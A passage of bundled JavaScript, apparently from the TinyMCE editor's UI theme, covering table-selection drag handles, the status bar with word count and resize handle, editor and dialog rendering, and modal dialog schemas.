    });

    const Dragging = createModes({
      branchKey: 'mode',
      branches: DraggingBranches,
      name: 'dragging',
      active: {
        events: (dragConfig, dragState) => {
          const dragger = dragConfig.dragger;
          return dragger.handlers(dragConfig, dragState);
        }
      },
      extra: {
        snap: sConfig => ({
          sensor: sConfig.sensor,
          range: sConfig.range,
          output: sConfig.output,
          extra: Optional.from(sConfig.extra)
        })
      },
      state: DragState,
      apis: DraggingApis
    });

    const snapWidth = 40;
    const snapOffset = snapWidth / 2;
    const calcSnap = (selectorOpt, td, x, y, width, height) => selectorOpt.fold(() => Dragging.snap({
      sensor: absolute(x - snapOffset, y - snapOffset),
      range: SugarPosition(width, height),
      output: absolute(Optional.some(x), Optional.some(y)),
      extra: { td }
    }), selectorHandle => {
      const sensorLeft = x - snapOffset;
      const sensorTop = y - snapOffset;
      const sensorWidth = snapWidth;
      const sensorHeight = snapWidth;
      const rect = selectorHandle.element.dom.getBoundingClientRect();
      return Dragging.snap({
        sensor: absolute(sensorLeft, sensorTop),
        range: SugarPosition(sensorWidth, sensorHeight),
        output: absolute(Optional.some(x - rect.width / 2), Optional.some(y - rect.height / 2)),
        extra: { td }
      });
    });
    const getSnapsConfig = (getSnapPoints, cell, onChange) => {
      const isSameCell = (cellOpt, td) => cellOpt.exists(currentTd => eq(currentTd, td));
      return {
        getSnapPoints,
        leftAttr: 'data-drag-left',
        topAttr: 'data-drag-top',
        onSensor: (component, extra) => {
          const td = extra.td;
          if (!isSameCell(cell.get(), td)) {
            cell.set(td);
            onChange(td);
          }
        },
        mustSnap: true
      };
    };
    const createSelector = snaps => record(Button.sketch({
      dom: {
        tag: 'div',
        classes: ['tox-selector']
      },
      buttonBehaviours: derive$1([
        Dragging.config({
          mode: 'mouseOrTouch',
          blockerClass: 'blocker',
          snaps
        }),
        Unselecting.config({})
      ]),
      eventOrder: {
        mousedown: [
          'dragging',
          'alloy.base.behaviour'
        ],
        touchstart: [
          'dragging',
          'alloy.base.behaviour'
        ]
      }
    }));
    const setup$4 = (editor, sink) => {
      const tlTds = Cell([]);
      const brTds = Cell([]);
      const isVisible = Cell(false);
      const startCell = value$2();
      const finishCell = value$2();
      const getTopLeftSnap = td => {
        const box = absolute$2(td);
        return calcSnap(memTopLeft.getOpt(sink), td, box.x, box.y, box.width, box.height);
      };
      const getTopLeftSnaps = () => map$2(tlTds.get(), td => getTopLeftSnap(td));
      const getBottomRightSnap = td => {
        const box = absolute$2(td);
        return calcSnap(memBottomRight.getOpt(sink), td, box.right, box.bottom, box.width, box.height);
      };
      const getBottomRightSnaps = () => map$2(brTds.get(), td => getBottomRightSnap(td));
      const topLeftSnaps = getSnapsConfig(getTopLeftSnaps, startCell, start => {
        finishCell.get().each(finish => {
          editor.dispatch('TableSelectorChange', {
            start,
            finish
          });
        });
      });
      const bottomRightSnaps = getSnapsConfig(getBottomRightSnaps, finishCell, finish => {
        startCell.get().each(start => {
          editor.dispatch('TableSelectorChange', {
            start,
            finish
          });
        });
      });
      const memTopLeft = createSelector(topLeftSnaps);
      const memBottomRight = createSelector(bottomRightSnaps);
      const topLeft = build$1(memTopLeft.asSpec());
      const bottomRight = build$1(memBottomRight.asSpec());
      const showOrHideHandle = (selector, cell, isAbove, isBelow) => {
        const cellRect = cell.dom.getBoundingClientRect();
        remove$6(selector.element, 'display');
        const viewportHeight = defaultView(SugarElement.fromDom(editor.getBody())).dom.innerHeight;
        const aboveViewport = isAbove(cellRect);
        const belowViewport = isBelow(cellRect, viewportHeight);
        if (aboveViewport || belowViewport) {
          set$8(selector.element, 'display', 'none');
        }
      };
      const snapTo = (selector, cell, getSnapConfig, pos) => {
        const snap = getSnapConfig(cell);
        Dragging.snapTo(selector, snap);
        const isAbove = rect => rect[pos] < 0;
        const isBelow = (rect, viewportHeight) => rect[pos] > viewportHeight;
        showOrHideHandle(selector, cell, isAbove, isBelow);
      };
      const snapTopLeft = cell => snapTo(topLeft, cell, getTopLeftSnap, 'top');
      const snapLastTopLeft = () => startCell.get().each(snapTopLeft);
      const snapBottomRight = cell => snapTo(bottomRight, cell, getBottomRightSnap, 'bottom');
      const snapLastBottomRight = () => finishCell.get().each(snapBottomRight);
      if (detect$1().deviceType.isTouch()) {
        editor.on('TableSelectionChange', e => {
          if (!isVisible.get()) {
            attach(sink, topLeft);
            attach(sink, bottomRight);
            isVisible.set(true);
          }
          startCell.set(e.start);
          finishCell.set(e.finish);
          e.otherCells.each(otherCells => {
            tlTds.set(otherCells.upOrLeftCells);
            brTds.set(otherCells.downOrRightCells);
            snapTopLeft(e.start);
            snapBottomRight(e.finish);
          });
        });
        editor.on('ResizeEditor ResizeWindow ScrollContent', () => {
          snapLastTopLeft();
          snapLastBottomRight();
        });
        editor.on('TableSelectionClear', () => {
          if (isVisible.get()) {
            detach(topLeft);
            detach(bottomRight);
            isVisible.set(false);
          }
          startCell.clear();
          finishCell.clear();
        });
      }
    };

    var Logo = "<svg width=\"50px\" height=\"16px\" viewBox=\"0 0 50 16\" xmlns=\"http://www.w3.org/2000/svg\">\n  <path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M10.143 0c2.608.015 5.186 2.178 5.186 5.331 0 0 .077 3.812-.084 4.87-.361 2.41-2.164 4.074-4.65 4.496-1.453.284-2.523.49-3.212.623-.373.071-.634.122-.785.152-.184.038-.997.145-1.35.145-2.732 0-5.21-2.04-5.248-5.33 0 0 0-3.514.03-4.442.093-2.4 1.758-4.342 4.926-4.963 0 0 3.875-.752 4.036-.782.368-.07.775-.1 1.15-.1Zm1.826 2.8L5.83 3.989v2.393l-2.455.475v5.968l6.137-1.189V9.243l2.456-.476V2.8ZM5.83 6.382l3.682-.713v3.574l-3.682.713V6.382Zm27.173-1.64-.084-1.066h-2.226v9.132h2.456V7.743c-.008-1.151.998-2.064 2.149-2.072 1.15-.008 1.987.92 1.995 2.072v5.065h2.455V7.359c-.015-2.18-1.657-3.929-3.837-3.913a3.993 3.993 0 0 0-2.908 1.296Zm-6.3-4.266L29.16 0v2.387l-2.456.475V.476Zm0 3.2v9.132h2.456V3.676h-2.456Zm18.179 11.787L49.11 3.676H46.58l-1.612 4.527-.46 1.382-.384-1.382-1.611-4.527H39.98l3.3 9.132L42.15 16l2.732-.537ZM22.867 9.738c0 .752.568 1.075.921 1.075.353 0 .668-.047.998-.154l.537 1.765c-.23.154-.92.537-2.225.537-1.305 0-2.655-.997-2.686-2.686a136.877 136.877 0 0 1 0-4.374H18.8V3.676h1.612v-1.98l2.455-.476v2.456h2.302V5.9h-2.302v3.837Z\"/>\n</svg>\n";

    const isHidden = elm => elm.nodeName === 'BR' || !!elm.getAttribute('data-mce-bogus') || elm.getAttribute('data-mce-type') === 'bookmark';
    const renderElementPath = (editor, settings, providersBackstage) => {
      var _a;
      const delimiter = (_a = settings.delimiter) !== null && _a !== void 0 ? _a : '\u203A';
      const renderElement = (name, element, index) => Button.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-statusbar__path-item'],
          attributes: {
            'data-index': index,
            'aria-level': index + 1
          }
        },
        components: [text$2(name)],
        action: _btn => {
          editor.focus();
          editor.selection.select(element);
          editor.nodeChanged();
        },
        buttonBehaviours: derive$1([
          DisablingConfigs.button(providersBackstage.isDisabled),
          receivingConfig()
        ])
      });
      const renderDivider = () => ({
        dom: {
          tag: 'div',
          classes: ['tox-statusbar__path-divider'],
          attributes: { 'aria-hidden': true }
        },
        components: [text$2(` ${ delimiter } `)]
      });
      const renderPathData = data => foldl(data, (acc, path, index) => {
        const element = renderElement(path.name, path.element, index);
        if (index === 0) {
          return acc.concat([element]);
        } else {
          return acc.concat([
            renderDivider(),
            element
          ]);
        }
      }, []);
      const updatePath = parents => {
        const newPath = [];
        let i = parents.length;
        while (i-- > 0) {
          const parent = parents[i];
          if (parent.nodeType === 1 && !isHidden(parent)) {
            const args = fireResolveName(editor, parent);
            if (!args.isDefaultPrevented()) {
              newPath.push({
                name: args.name,
                element: parent
              });
            }
            if (args.isPropagationStopped()) {
              break;
            }
          }
        }
        return newPath;
      };
      return {
        dom: {
          tag: 'div',
          classes: ['tox-statusbar__path'],
          attributes: { role: 'navigation' }
        },
        behaviours: derive$1([
          Keying.config({
            mode: 'flow',
            selector: 'div[role=button]'
          }),
          Disabling.config({ disabled: providersBackstage.isDisabled }),
          receivingConfig(),
          Tabstopping.config({}),
          Replacing.config({}),
          config('elementPathEvents', [runOnAttached((comp, _e) => {
              editor.shortcuts.add('alt+F11', 'focus statusbar elementpath', () => Keying.focusIn(comp));
              editor.on('NodeChange', e => {
                const newPath = updatePath(e.parents);
                const newChildren = newPath.length > 0 ? renderPathData(newPath) : [];
                Replacing.set(comp, newChildren);
              });
            })])
        ]),
        components: []
      };
    };

    var ResizeTypes;
    (function (ResizeTypes) {
      ResizeTypes[ResizeTypes['None'] = 0] = 'None';
      ResizeTypes[ResizeTypes['Both'] = 1] = 'Both';
      ResizeTypes[ResizeTypes['Vertical'] = 2] = 'Vertical';
    }(ResizeTypes || (ResizeTypes = {})));
    const getDimensions = (editor, deltas, resizeType, originalHeight, originalWidth) => {
      const dimensions = { height: calcCappedSize(originalHeight + deltas.top, getMinHeightOption(editor), getMaxHeightOption(editor)) };
      if (resizeType === ResizeTypes.Both) {
        dimensions.width = calcCappedSize(originalWidth + deltas.left, getMinWidthOption(editor), getMaxWidthOption(editor));
      }
      return dimensions;
    };
    const resize = (editor, deltas, resizeType) => {
      const container = SugarElement.fromDom(editor.getContainer());
      const dimensions = getDimensions(editor, deltas, resizeType, get$d(container), get$c(container));
      each(dimensions, (val, dim) => {
        if (isNumber(val)) {
          set$8(container, dim, numToPx(val));
        }
      });
      fireResizeEditor(editor);
    };

    const getResizeType = editor => {
      const resize = getResize(editor);
      if (resize === false) {
        return ResizeTypes.None;
      } else if (resize === 'both') {
        return ResizeTypes.Both;
      } else {
        return ResizeTypes.Vertical;
      }
    };
    const keyboardHandler = (editor, resizeType, x, y) => {
      const scale = 20;
      const delta = SugarPosition(x * scale, y * scale);
      resize(editor, delta, resizeType);
      return Optional.some(true);
    };
    const renderResizeHandler = (editor, providersBackstage) => {
      const resizeType = getResizeType(editor);
      if (resizeType === ResizeTypes.None) {
        return Optional.none();
      }
      return Optional.some(render$3('resize-handle', {
        tag: 'div',
        classes: ['tox-statusbar__resize-handle'],
        attributes: { title: providersBackstage.translate('Resize') },
        behaviours: [
          Dragging.config({
            mode: 'mouse',
            repositionTarget: false,
            onDrag: (_comp, _target, delta) => resize(editor, delta, resizeType),
            blockerClass: 'tox-blocker'
          }),
          Keying.config({
            mode: 'special',
            onLeft: () => keyboardHandler(editor, resizeType, -1, 0),
            onRight: () => keyboardHandler(editor, resizeType, 1, 0),
            onUp: () => keyboardHandler(editor, resizeType, 0, -1),
            onDown: () => keyboardHandler(editor, resizeType, 0, 1)
          }),
          Tabstopping.config({}),
          Focusing.config({})
        ]
      }, providersBackstage.icons));
    };

    const renderWordCount = (editor, providersBackstage) => {
      const replaceCountText = (comp, count, mode) => Replacing.set(comp, [text$2(providersBackstage.translate([
          '{0} ' + mode,
          count[mode]
        ]))]);
      return Button.sketch({
        dom: {
          tag: 'button',
          classes: ['tox-statusbar__wordcount']
        },
        components: [],
        buttonBehaviours: derive$1([
          DisablingConfigs.button(providersBackstage.isDisabled),
          receivingConfig(),
          Tabstopping.config({}),
          Replacing.config({}),
          Representing.config({
            store: {
              mode: 'memory',
              initialValue: {
                mode: 'words',
                count: {
                  words: 0,
                  characters: 0
                }
              }
            }
          }),
          config('wordcount-events', [
            runOnExecute$1(comp => {
              const currentVal = Representing.getValue(comp);
              const newMode = currentVal.mode === 'words' ? 'characters' : 'words';
              Representing.setValue(comp, {
                mode: newMode,
                count: currentVal.count
              });
              replaceCountText(comp, currentVal.count, newMode);
            }),
            runOnAttached(comp => {
              editor.on('wordCountUpdate', e => {
                const {mode} = Representing.getValue(comp);
                Representing.setValue(comp, {
                  mode,
                  count: e.wordCount
                });
                replaceCountText(comp, e.wordCount, mode);
              });
            })
          ])
        ]),
        eventOrder: {
          [execute$5()]: [
            'disabling',
            'alloy.base.behaviour',
            'wordcount-events'
          ]
        }
      });
    };

    const renderStatusbar = (editor, providersBackstage) => {
      const renderBranding = () => {
        return {
          dom: {
            tag: 'span',
            classes: ['tox-statusbar__branding']
          },
          components: [{
              dom: {
                tag: 'a',
                attributes: {
                  'href': 'https://www.tiny.cloud/powered-by-tiny?utm_campaign=editor_referral&utm_medium=poweredby&utm_source=tinymce&utm_content=v6',
                  'rel': 'noopener',
                  'target': '_blank',
                  'aria-label': global$8.translate([
                    'Powered by {0}',
                    'Tiny'
                  ])
                },
                innerHtml: Logo.trim()
              },
              behaviours: derive$1([Focusing.config({})])
            }]
        };
      };
      const getTextComponents = () => {
        const components = [];
        if (useElementPath(editor)) {
          components.push(renderElementPath(editor, {}, providersBackstage));
        }
        if (editor.hasPlugin('wordcount')) {
          components.push(renderWordCount(editor, providersBackstage));
        }
        if (useBranding(editor)) {
          components.push(renderBranding());
        }
        if (components.length > 0) {
          return [{
              dom: {
                tag: 'div',
                classes: ['tox-statusbar__text-container']
              },
              components
            }];
        }
        return [];
      };
      const getComponents = () => {
        const components = getTextComponents();
        const resizeHandler = renderResizeHandler(editor, providersBackstage);
        return components.concat(resizeHandler.toArray());
      };
      return {
        dom: {
          tag: 'div',
          classes: ['tox-statusbar']
        },
        components: getComponents()
      };
    };

    const getLazyMothership = (label, singleton) => singleton.get().getOrDie(`UI for ${ label } has not been rendered`);
    const setup$3 = editor => {
      const isInline = editor.inline;
      const mode = isInline ? Inline : Iframe;
      const header = isStickyToolbar(editor) ? StickyHeader : StaticHeader;
      const lazyUiRefs = LazyUiReferences();
      const lazyMothership = value$2();
      const lazyDialogMothership = value$2();
      const platform = detect$1();
      const isTouch = platform.deviceType.isTouch();
      const touchPlatformClass = 'tox-platform-touch';
      const deviceClasses = isTouch ? [touchPlatformClass] : [];
      const isToolbarBottom = isToolbarLocationBottom(editor);
      const toolbarMode = getToolbarMode(editor);
      const memAnchorBar = record({
        dom: {
          tag: 'div',
          classes: ['tox-anchorbar']
        }
      });
      const lazyHeader = () => lazyUiRefs.mainUi.get().map(ui => ui.outerContainer).bind(OuterContainer.getHeader);
      const lazyDialogSinkResult = () => Result.fromOption(lazyUiRefs.dialogUi.get().map(ui => ui.sink), 'UI has not been rendered');
      const lazyPopupSinkResult = () => Result.fromOption(lazyUiRefs.popupUi.get().map(ui => ui.sink), '(popup) UI has not been rendered');
      const lazyAnchorBar = lazyUiRefs.lazyGetInOuterOrDie('anchor bar', memAnchorBar.getOpt);
      const lazyToolbar = lazyUiRefs.lazyGetInOuterOrDie('toolbar', OuterContainer.getToolbar);
      const lazyThrobber = lazyUiRefs.lazyGetInOuterOrDie('throbber', OuterContainer.getThrobber);
      const backstages = init$7({
        popup: lazyPopupSinkResult,
        dialog: lazyDialogSinkResult
      }, editor, lazyAnchorBar);
      const makeHeaderPart = () => {
        const verticalDirAttributes = { attributes: { [Attribute]: isToolbarBottom ? AttributeValue.BottomToTop : AttributeValue.TopToBottom } };
        const partMenubar = OuterContainer.parts.menubar({
          dom: {
            tag: 'div',
            classes: ['tox-menubar']
          },
          backstage: backstages.popup,
          onEscape: () => {
            editor.focus();
          }
        });
        const partToolbar = OuterContainer.parts.toolbar({
          dom: {
            tag: 'div',
            classes: ['tox-toolbar']
          },
          getSink: backstages.popup.shared.getSink,
          providers: backstages.popup.shared.providers,
          onEscape: () => {
            editor.focus();
          },
          onToolbarToggled: state => {
            fireToggleToolbarDrawer(editor, state);
          },
          type: toolbarMode,
          lazyToolbar,
          lazyHeader: () => lazyHeader().getOrDie('Could not find header element'),
          ...verticalDirAttributes
        });
        const partMultipleToolbar = OuterContainer.parts['multiple-toolbar']({
          dom: {
            tag: 'div',
            classes: ['tox-toolbar-overlord']
          },
          providers: backstages.popup.shared.providers,
          onEscape: () => {
            editor.focus();
          },
          type: toolbarMode
        });
        const hasMultipleToolbar = isMultipleToolbars(editor);
        const hasToolbar = isToolbarEnabled(editor);
        const hasMenubar = isMenubarEnabled(editor);
        const shouldHavePromotion = promotionEnabled(editor);
        const partPromotion = makePromotion();
        const hasAnyContents = hasMultipleToolbar || hasToolbar || hasMenubar;
        const getPartToolbar = () => {
          if (hasMultipleToolbar) {
            return [partMultipleToolbar];
          } else if (hasToolbar) {
            return [partToolbar];
          } else {
            return [];
          }
        };
        const menubarCollection = shouldHavePromotion ? [
          partPromotion,
          partMenubar
        ] : [partMenubar];
        return OuterContainer.parts.header({
          dom: {
            tag: 'div',
            classes: ['tox-editor-header'].concat(hasAnyContents ? [] : ['tox-editor-header--empty']),
            ...verticalDirAttributes
          },
          components: flatten([
            hasMenubar ? menubarCollection : [],
            getPartToolbar(),
            useFixedContainer(editor) ? [] : [memAnchorBar.asSpec()]
          ]),
          sticky: isStickyToolbar(editor),
          editor,
          sharedBackstage: backstages.popup.shared
        });
      };
      const makePromotion = () => {
        return OuterContainer.parts.promotion({
          dom: {
            tag: 'div',
            classes: ['tox-promotion']
          }
        });
      };
      const makeSidebarDefinition = () => {
        const partSocket = OuterContainer.parts.socket({
          dom: {
            tag: 'div',
            classes: ['tox-edit-area']
          }
        });
        const partSidebar = OuterContainer.parts.sidebar({
          dom: {
            tag: 'div',
            classes: ['tox-sidebar']
          }
        });
        return {
          dom: {
            tag: 'div',
            classes: ['tox-sidebar-wrap']
          },
          components: [
            partSocket,
            partSidebar
          ]
        };
      };
      const renderDialogUi = () => {
        const uiContainer = getUiContainer(editor);
        const isGridUiContainer = eq(body(), uiContainer) && get$e(uiContainer, 'display') === 'grid';
        const sinkSpec = {
          dom: {
            tag: 'div',
            classes: [
              'tox',
              'tox-silver-sink',
              'tox-tinymce-aux'
            ].concat(deviceClasses),
            attributes: { ...global$8.isRtl() ? { dir: 'rtl' } : {} }
          },
          behaviours: derive$1([Positioning.config({ useFixed: () => header.isDocked(lazyHeader) })])
        };
        const reactiveWidthSpec = {
          dom: { styles: { width: document.body.clientWidth + 'px' } },
          events: derive$2([run$1(windowResize(), comp => {
              set$8(comp.element, 'width', document.body.clientWidth + 'px');
            })])
        };
        const sink = build$1(deepMerge(sinkSpec, isGridUiContainer ? reactiveWidthSpec : {}));
        const uiMothership = takeover(sink);
        lazyDialogMothership.set(uiMothership);
        return {
          sink,
          mothership: uiMothership
        };
      };
      const renderPopupUi = identity;
      const renderMainUi = () => {
        const partHeader = makeHeaderPart();
        const sidebarContainer = makeSidebarDefinition();
        const partThrobber = OuterContainer.parts.throbber({
          dom: {
            tag: 'div',
            classes: ['tox-throbber']
          },
          backstage: backstages.popup
        });
        const partViewWrapper = OuterContainer.parts.viewWrapper({ backstage: backstages.popup });
        const statusbar = useStatusBar(editor) && !isInline ? Optional.some(renderStatusbar(editor, backstages.popup.shared.providers)) : Optional.none();
        const editorComponents = flatten([
          isToolbarBottom ? [] : [partHeader],
          isInline ? [] : [sidebarContainer],
          isToolbarBottom ? [partHeader] : []
        ]);
        const editorContainer = OuterContainer.parts.editorContainer({
          components: flatten([
            editorComponents,
            isInline ? [] : statusbar.toArray()
          ])
        });
        const isHidden = isDistractionFree(editor);
        const attributes = {
          role: 'application',
          ...global$8.isRtl() ? { dir: 'rtl' } : {},
          ...isHidden ? { 'aria-hidden': 'true' } : {}
        };
        const outerContainer = build$1(OuterContainer.sketch({
          dom: {
            tag: 'div',
            classes: [
              'tox',
              'tox-tinymce'
            ].concat(isInline ? ['tox-tinymce-inline'] : []).concat(isToolbarBottom ? ['tox-tinymce--toolbar-bottom'] : []).concat(deviceClasses),
            styles: {
              visibility: 'hidden',
              ...isHidden ? {
                opacity: '0',
                border: '0'
              } : {}
            },
            attributes
          },
          components: [
            editorContainer,
            ...isInline ? [] : [partViewWrapper],
            partThrobber
          ],
          behaviours: derive$1([
            receivingConfig(),
            Disabling.config({ disableClass: 'tox-tinymce--disabled' }),
            Keying.config({
              mode: 'cyclic',
              selector: '.tox-menubar, .tox-toolbar, .tox-toolbar__primary, .tox-toolbar__overflow--open, .tox-sidebar__overflow--open, .tox-statusbar__path, .tox-statusbar__wordcount, .tox-statusbar__branding a, .tox-statusbar__resize-handle'
            })
          ])
        }));
        const mothership = takeover(outerContainer);
        lazyMothership.set(mothership);
        return {
          mothership,
          outerContainer
        };
      };
      const setEditorSize = outerContainer => {
        const parsedHeight = numToPx(getHeightWithFallback(editor));
        const parsedWidth = numToPx(getWidthWithFallback(editor));
        if (!editor.inline) {
          if (isValidValue('div', 'width', parsedWidth)) {
            set$8(outerContainer.element, 'width', parsedWidth);
          }
          if (isValidValue('div', 'height', parsedHeight)) {
            set$8(outerContainer.element, 'height', parsedHeight);
          } else {
            set$8(outerContainer.element, 'height', '400px');
          }
        }
        return parsedHeight;
      };
      const setupShortcutsAndCommands = outerContainer => {
        editor.addShortcut('alt+F9', 'focus menubar', () => {
          OuterContainer.focusMenubar(outerContainer);
        });
        editor.addShortcut('alt+F10', 'focus toolbar', () => {
          OuterContainer.focusToolbar(outerContainer);
        });
        editor.addCommand('ToggleToolbarDrawer', () => {
          OuterContainer.toggleToolbarDrawer(outerContainer);
        });
        editor.addQueryStateHandler('ToggleToolbarDrawer', () => OuterContainer.isToolbarDrawerToggled(outerContainer));
      };
      const renderUIWithRefs = uiRefs => {
        const {mainUi, popupUi, uiMotherships} = uiRefs;
        map$1(getToolbarGroups(editor), (toolbarGroupButtonConfig, name) => {
          editor.ui.registry.addGroupToolbarButton(name, toolbarGroupButtonConfig);
        });
        const {buttons, menuItems, contextToolbars, sidebars, views} = editor.ui.registry.getAll();
        const toolbarOpt = getMultipleToolbarsOption(editor);
        const rawUiConfig = {
          menuItems,
          menus: getMenus(editor),
          menubar: getMenubar(editor),
          toolbar: toolbarOpt.getOrThunk(() => getToolbar(editor)),
          allowToolbarGroups: toolbarMode === ToolbarMode$1.floating,
          buttons,
          sidebar: sidebars,
          views
        };
        setupShortcutsAndCommands(mainUi.outerContainer);
        setup$b(editor, mainUi.mothership, uiMotherships);
        header.setup(editor, backstages.popup.shared, lazyHeader);
        setup$6(editor, backstages.popup);
        setup$5(editor, backstages.popup.shared.getSink, backstages.popup);
        setup$8(editor);
        setup$7(editor, lazyThrobber, backstages.popup.shared);
        register$9(editor, contextToolbars, popupUi.sink, { backstage: backstages.popup });
        setup$4(editor, popupUi.sink);
        const elm = editor.getElement();
        const height = setEditorSize(mainUi.outerContainer);
        const args = {
          targetNode: elm,
          height
        };
        return mode.render(editor, uiRefs, rawUiConfig, backstages.popup, args);
      };
      const renderUI = () => {
        const mainUi = renderMainUi();
        const dialogUi = renderDialogUi();
        const popupUi = renderPopupUi(dialogUi);
        lazyUiRefs.dialogUi.set(dialogUi);
        lazyUiRefs.popupUi.set(popupUi);
        lazyUiRefs.mainUi.set(mainUi);
        const uiRefs = {
          popupUi,
          dialogUi,
          mainUi,
          uiMotherships: lazyUiRefs.getUiMotherships()
        };
        return renderUIWithRefs(uiRefs);
      };
      return {
        popups: {
          backstage: backstages.popup,
          getMothership: () => getLazyMothership('popups', lazyDialogMothership)
        },
        dialogs: {
          backstage: backstages.dialog,
          getMothership: () => getLazyMothership('dialogs', lazyDialogMothership)
        },
        renderUI
      };
    };

    const describedBy = (describedElement, describeElement) => {
      const describeId = Optional.from(get$f(describedElement, 'id')).fold(() => {
        const id = generate$6('dialog-describe');
        set$9(describeElement, 'id', id);
        return id;
      }, identity);
      set$9(describedElement, 'aria-describedby', describeId);
    };

    const labelledBy = (labelledElement, labelElement) => {
      const labelId = getOpt(labelledElement, 'id').fold(() => {
        const id = generate$6('dialog-label');
        set$9(labelElement, 'id', id);
        return id;
      }, identity);
      set$9(labelledElement, 'aria-labelledby', labelId);
    };

    const schema$2 = constant$1([
      required$1('lazySink'),
      option$3('dragBlockClass'),
      defaultedFunction('getBounds', win),
      defaulted('useTabstopAt', always),
      defaulted('eventOrder', {}),
      field('modalBehaviours', [Keying]),
      onKeyboardHandler('onExecute'),
      onStrictKeyboardHandler('onEscape')
    ]);
    const basic = { sketch: identity };
    const parts$2 = constant$1([
      optional({
        name: 'draghandle',
        overrides: (detail, spec) => {
          return {
            behaviours: derive$1([Dragging.config({
                mode: 'mouse',
                getTarget: handle => {
                  return ancestor(handle, '[role="dialog"]').getOr(handle);
                },
                blockerClass: detail.dragBlockClass.getOrDie(new Error('The drag blocker class was not specified for a dialog with a drag handle: \n' + JSON.stringify(spec, null, 2)).message),
                getBounds: detail.getDragBounds
              })])
          };
        }
      }),
      required({
        schema: [required$1('dom')],
        name: 'title'
      }),
      required({
        factory: basic,
        schema: [required$1('dom')],
        name: 'close'
      }),
      required({
        factory: basic,
        schema: [required$1('dom')],
        name: 'body'
      }),
      optional({
        factory: basic,
        schema: [required$1('dom')],
        name: 'footer'
      }),
      external({
        factory: {
          sketch: (spec, detail) => ({
            ...spec,
            dom: detail.dom,
            components: detail.components
          })
        },
        schema: [
          defaulted('dom', {
            tag: 'div',
            styles: {
              position: 'fixed',
              left: '0px',
              top: '0px',
              right: '0px',
              bottom: '0px'
            }
          }),
          defaulted('components', [])
        ],
        name: 'blocker'
      })
    ]);

    const factory$4 = (detail, components, spec, externals) => {
      const dialogComp = value$2();
      const showDialog = dialog => {
        dialogComp.set(dialog);
        const sink = detail.lazySink(dialog).getOrDie();
        const externalBlocker = externals.blocker();
        const blocker = sink.getSystem().build({
          ...externalBlocker,
          components: externalBlocker.components.concat([premade(dialog)]),
          behaviours: derive$1([
            Focusing.config({}),
            config('dialog-blocker-events', [runOnSource(focusin(), () => {
                Keying.focusIn(dialog);
              })])
          ])
        });
        attach(sink, blocker);
        Keying.focusIn(dialog);
      };
      const hideDialog = dialog => {
        dialogComp.clear();
        parent(dialog.element).each(blockerDom => {
          dialog.getSystem().getByDom(blockerDom).each(blocker => {
            detach(blocker);
          });
        });
      };
      const getDialogBody = dialog => getPartOrDie(dialog, detail, 'body');
      const getDialogFooter = dialog => getPartOrDie(dialog, detail, 'footer');
      const setBusy = (dialog, getBusySpec) => {
        Blocking.block(dialog, getBusySpec);
      };
      const setIdle = dialog => {
        Blocking.unblock(dialog);
      };
      const modalEventsId = generate$6('modal-events');
      const eventOrder = {
        ...detail.eventOrder,
        [attachedToDom()]: [modalEventsId].concat(detail.eventOrder['alloy.system.attached'] || [])
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        apis: {
          show: showDialog,
          hide: hideDialog,
          getBody: getDialogBody,
          getFooter: getDialogFooter,
          setIdle,
          setBusy
        },
        eventOrder,
        domModification: {
          attributes: {
            'role': 'dialog',
            'aria-modal': 'true'
          }
        },
        behaviours: augment(detail.modalBehaviours, [
          Replacing.config({}),
          Keying.config({
            mode: 'cyclic',
            onEnter: detail.onExecute,
            onEscape: detail.onEscape,
            useTabstopAt: detail.useTabstopAt
          }),
          Blocking.config({ getRoot: dialogComp.get }),
          config(modalEventsId, [runOnAttached(c => {
              labelledBy(c.element, getPartOrDie(c, detail, 'title').element);
              describedBy(c.element, getPartOrDie(c, detail, 'body').element);
            })])
        ])
      };
    };
    const ModalDialog = composite({
      name: 'ModalDialog',
      configFields: schema$2(),
      partFields: parts$2(),
      factory: factory$4,
      apis: {
        show: (apis, dialog) => {
          apis.show(dialog);
        },
        hide: (apis, dialog) => {
          apis.hide(dialog);
        },
        getBody: (apis, dialog) => apis.getBody(dialog),
        getFooter: (apis, dialog) => apis.getFooter(dialog),
        setBusy: (apis, dialog, getBusySpec) => {
          apis.setBusy(dialog, getBusySpec);
        },
        setIdle: (apis, dialog) => {
          apis.setIdle(dialog);
        }
      }
    });

    const dialogToggleMenuItemSchema = objOf([
      type,
      name$1
    ].concat(commonMenuItemFields));
    const dialogToggleMenuItemDataProcessor = boolean;

    const baseFooterButtonFields = [
      generatedName('button'),
      optionalIcon,
      defaultedStringEnum('align', 'end', [
        'start',
        'end'
      ]),
      primary,
      enabled,
      optionStringEnum('buttonType', [
        'primary',
        'secondary'
      ])
    ];
    const dialogFooterButtonFields = [
      ...baseFooterButtonFields,
      text$1
    ];
    const normalFooterButtonFields = [
      requiredStringEnum('type', [
        'submit',
        'cancel',
        'custom'
      ]),
      ...dialogFooterButtonFields
    ];
    const menuFooterButtonFields = [
      requiredStringEnum('type', ['menu']),
      optionalText,
      optionalTooltip,
      optionalIcon,
      requiredArrayOf('items', dialogToggleMenuItemSchema),
      ...baseFooterButtonFields
    ];
    const dialogFooterButtonSchema = choose$1('type', {
      submit: normalFooterButtonFields,
      cancel: normalFooterButtonFields,
      custom: normalFooterButtonFields,
      menu: menuFooterButtonFields
    });

    const alertBannerFields = [
      type,
      text$1,
      requiredStringEnum('level', [
        'info',
        'warn',
        'error',
        'success'
      ]),
      icon,
      defaulted('url', '')
    ];
    const alertBannerSchema = objOf(alertBannerFields);

    const createBarFields = itemsField => [
      type,
      itemsField
    ];

    const buttonFields = [
      type,
      text$1,
      enabled,
      generatedName('button'),
      optionalIcon,
      borderless,
      optionStringEnum('buttonType', [
        'primary',
        'secondary',
        'toolbar'
      ]),
      primary
    ];
    const buttonSchema = objOf(buttonFields);

    const formComponentFields = [
      type,
      name$1
    ];
    const formComponentWithLabelFields = formComponentFields.concat([optionalLabel]);

    const checkboxFields = formComponentFields.concat([
      label,
      enabled
    ]);
    const checkboxSchema = objOf(checkboxFields);
    const checkboxDataProcessor = boolean;

    const collectionFields = formComponentWithLabelFields.concat([defaultedColumns('auto')]);
    const collectionSchema = objOf(collectionFields);
    const collectionDataProcessor = arrOfObj([
      value$1,
      text$1,
      icon
    ]);

    const colorInputFields = formComponentWithLabelFields.concat([defaultedString('storageKey', 'default')]);
    const colorInputSchema = objOf(colorInputFields);
    const colorInputDataProcessor = string;

    const colorPickerFields = formComponentWithLabelFields;
